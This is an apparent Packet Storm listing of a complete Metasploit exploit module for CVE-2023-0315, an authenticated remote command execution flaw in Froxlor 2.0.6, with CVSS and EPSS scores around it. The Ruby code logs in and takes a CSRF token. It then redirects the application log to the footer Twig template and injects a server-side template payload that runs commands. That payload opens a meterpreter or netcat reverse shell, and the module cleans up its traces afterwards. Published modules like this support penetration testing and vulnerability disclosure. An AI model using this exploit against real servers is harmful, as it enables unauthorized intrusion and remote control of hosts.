Lucene search

K
packetstormAskar, jheysel-r7, metasploit.comPACKETSTORM:171108
HistoryFeb 23, 2023 - 12:00 a.m.

Froxlor 2.0.6 Remote Command Execution

2023-02-2300:00:00
Askar, jheysel-r7, metasploit.com
packetstormsecurity.com
177

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

0.54 Medium

EPSS

Percentile

97.6%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Froxlor Log Path RCE',  
'Description' => %q{  
Froxlor v2.0.6 and below suffer from a bug that allows authenticated users to change the application logs path  
to any directory on the OS level which the user www-data can write without restrictions from the backend which  
leads to writing a malicious Twig template that the application will render. That will lead to achieving a  
remote command execution under the user www-data.  
},  
'Author' => [  
'Askar', # discovery  
'jheysel-r7' # module  
],  
'References' => [  
[ 'URL', 'https://shells.systems/author/askar/'],  
[ 'CVE', '2023-0315']  
],  
'License' => MSF_LICENSE,  
'Platform' => 'linux',  
'Privileged' => false,  
'Arch' => [ ARCH_CMD ],  
'Targets' => [  
[  
'Linux ',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'CmdStagerFlavor' => ['wget'],  
'Type' => :linux_dropper,  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }  
}  
],  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_memory,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' }  
}  
]  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
},  
'DisclosureDate' => '2023-01-29'  
)  
)  
  
register_options(  
[  
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'admin']),  
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', '']),  
OptString.new('TARGETURI', [true, 'The base path to the vulnerable Froxlor instance', '/froxlor']),  
OptString.new('WEB_ROOT', [true, 'The webroot ', '/var/www/html'])  
]  
)  
end  
  
def login  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/index.php'),  
'keep_cookies' => true,  
'vars_post' => {  
'loginname' => datastore['USERNAME'],  
'password' => datastore['PASSWORD'],  
'send' => 'send',  
'dologin' => ''  
}  
)  
  
if res && (res.code == 302 && res.headers.include?('Location') && res.headers['Location'] == 'admin_index.php')  
send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/admin_index.php'),  
'keep_cookies' => true  
)  
print_good('Successful login')  
true  
else  
false  
end  
end  
  
def check  
begin  
@authenticated = login  
rescue InvalidRequest, InvalidResponse => e  
return Exploit::CheckCode::Unknown("Failed to authenticate to Froxlor: #{e.class}, #{e}")  
end  
  
version_url = '/lib/ajax.php?action=updatecheck&theme=Froxlor'  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, version_url),  
'keep_cookies' => true  
)  
  
if res.nil? || res.code != 200  
Exploit::CheckCode::Unknown("Failed to retrieve version info from #{normalize_uri(target_uri.path, version_url)}")  
else  
version = res.get_html_document.at('body/span/text()')  
if version  
if Rex::Version.new('2.0.6') >= Rex::Version.new(version)  
Exploit::CheckCode::Appears("Vulnerable version found: #{version}")  
end  
else  
Exploit::CheckCode::Detected("Failed to obtain Froxlor version info from #{normalize_uri(target_uri.path, version_url)}")  
end  
end  
end  
  
def get_csrf_token(url)  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, url),  
'keep_cookies' => true  
)  
  
fail_with(Failure::UnexpectedReply, "Failed to get csrf token from #{normalize_uri(target_uri.path, url)}") unless (!res.nil? || res.code == 200)  
csrf_token = res.get_html_document.at('//input[@name="csrf_token"]/@value')&.text  
fail_with(Failure::UnexpectedReply, "No CSRF token found when querying #{normalize_uri(target_uri.path, url)}.") unless csrf_token  
print_good("CSRF token is : #{csrf_token}")  
csrf_token  
end  
  
def change_log_path(new_logfile)  
mime = Rex::MIME::Message.new  
mime.add_part('0', nil, nil, 'form-data; name="logger_enabled"')  
mime.add_part('1', nil, nil, 'form-data; name="logger_enabled"')  
mime.add_part('2', nil, nil, 'form-data; name="logger_severity"')  
mime.add_part('file', nil, nil, 'form-data; name="logger_logtypes[]"')  
mime.add_part(new_logfile, nil, nil, 'form-data; name="logger_logfile"')  
mime.add_part('0', nil, nil, 'form-data; name="logger_log_cron"')  
mime.add_part(@csrf_token, nil, nil, 'form-data; name="csrf_token"')  
mime.add_part('overview', nil, nil, 'form-data; name="page"')  
mime.add_part('', nil, nil, 'form-data; name="action"')  
mime.add_part('send', nil, nil, 'form-data; name="send"')  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/admin_settings.php?'),  
'vars_get' => { 'page' => 'overview', 'part' => 'logging' },  
'keep_cookies' => true,  
'ctype' => "multipart/form-data; boundary=#{mime.bound}",  
'data' => mime.to_s  
)  
  
if res && res.code == 200 && res.body.include?('The settings have been successfully saved')  
return true  
end  
  
false  
end  
  
def execute_command(cmd, _opts = {})  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/admin_index.php'),  
'keep_cookies' => true,  
'vars_post' => {  
'theme' => "{{['#{cmd}']|filter('exec')}}",  
'csrf_token' => @csrf_token,  
'page' => 'change_theme',  
'send' => 'send',  
'dosave' => ''  
}  
)  
  
if res && res.code == 302 && res.headers['Location']  
if res.headers['Location'] == 'admin_index.php'  
print_good('Injected payload successfully')  
print_status("Changing log path back to default value while triggering payload: #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/logs/froxlor.log")  
change_log_path("#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/logs/froxlor.log")  
end  
else  
print_error('did not inject payload successfully')  
end  
end  
  
def exploit  
fail_with(Failure::NoAccess, 'Failed to login') unless @authenticated || login  
@csrf_token = get_csrf_token('/admin_settings.php?page=overview&part=logging')  
  
if change_log_path("#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")  
print_good("Changed logfile path to: #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")  
case target['Type']  
when :unix_memory  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager  
else  
print_error('Please enter valid target')  
end  
else  
fail_with(Failure::UnexpectedReply, 'Failed to change the log path. The target might not be exploitable')  
end  
end  
  
def on_new_session(session)  
super  
# Original footer.html.twig file  
footer_html_twig = <<~EOF  
<footer class="text-center mb-3">  
<span>  
<img src="{{ basehref|default("") }}templates/Froxlor/assets/img/logo_grey.png" alt="Froxlor"/>  
{% if install_mode is not defined %}  
{% if (get_setting('admin.show_version_login') == '1'  
and area == 'login') or (area != 'login'  
and get_setting('admin.show_version_footer') == '1') %}  
{{ call_static('\\Froxlor\\Froxlor', 'getFullVersion') }}  
{% endif %}  
{% endif %}  
&copy; 2009-{{ "now"|date("Y") }} by <a href="https://www.froxlor.org/" rel="external" target="_blank">the Froxlor Team</a><br>  
{% if install_mode is not defined %}  
{% if (get_setting('panel.imprint_url') != '') %}<a href="{{ get_setting('panel.imprint_url') }}" target="_blank" class="footer-link">{{ lng('imprint') }}</a>{% endif %}  
{% if (get_setting('panel.terms_url') != '') %}<a href="{{ get_setting('panel.terms_url') }}" target="_blank" class="footer-link">{{ lng('terms') }}</a>{% endif %}  
{% if (get_setting('panel.privacy_url') != '') %}<a href="{{ get_setting('panel.privacy_url') }}" target="_blank" class="footer-link">{{ lng('privacy') }}</a>{% endif %}  
{% endif %}  
</span>  
  
{% if lng('translator') %}  
<br/>  
<small class="mt-3">{{ lng('panel.translator') }}: {{ lng('translator') }}</small>  
{% endif %}  
</footer>  
EOF  
if session.type == 'meterpreter'  
print_status('Deleting tampered footer.html.twig file')  
filename = "#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig"  
session.fs.file.rm(filename)  
fd = session.fs.file.new(filename, 'wb')  
print_status('Rewriting clean footer.html.twig file')  
fd.write(footer_html_twig)  
fd.close  
else  
print_status('Cleaning tampered footer.html.twig file')  
# Remove all log lines added to footer.html.twig by the exploit  
# (all log lines start with an opening square bracket ex: [2023-02-16 09:08:28] froxlor.INFO: [API] ...)  
session.shell_command_token("sed '/^\\[/d' #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig > #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp")  
session.shell_command_token("mv -f #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")  
session.shell_command_token("rm #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp")  
end  
end  
end  
`

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

0.54 Medium

EPSS

Percentile

97.6%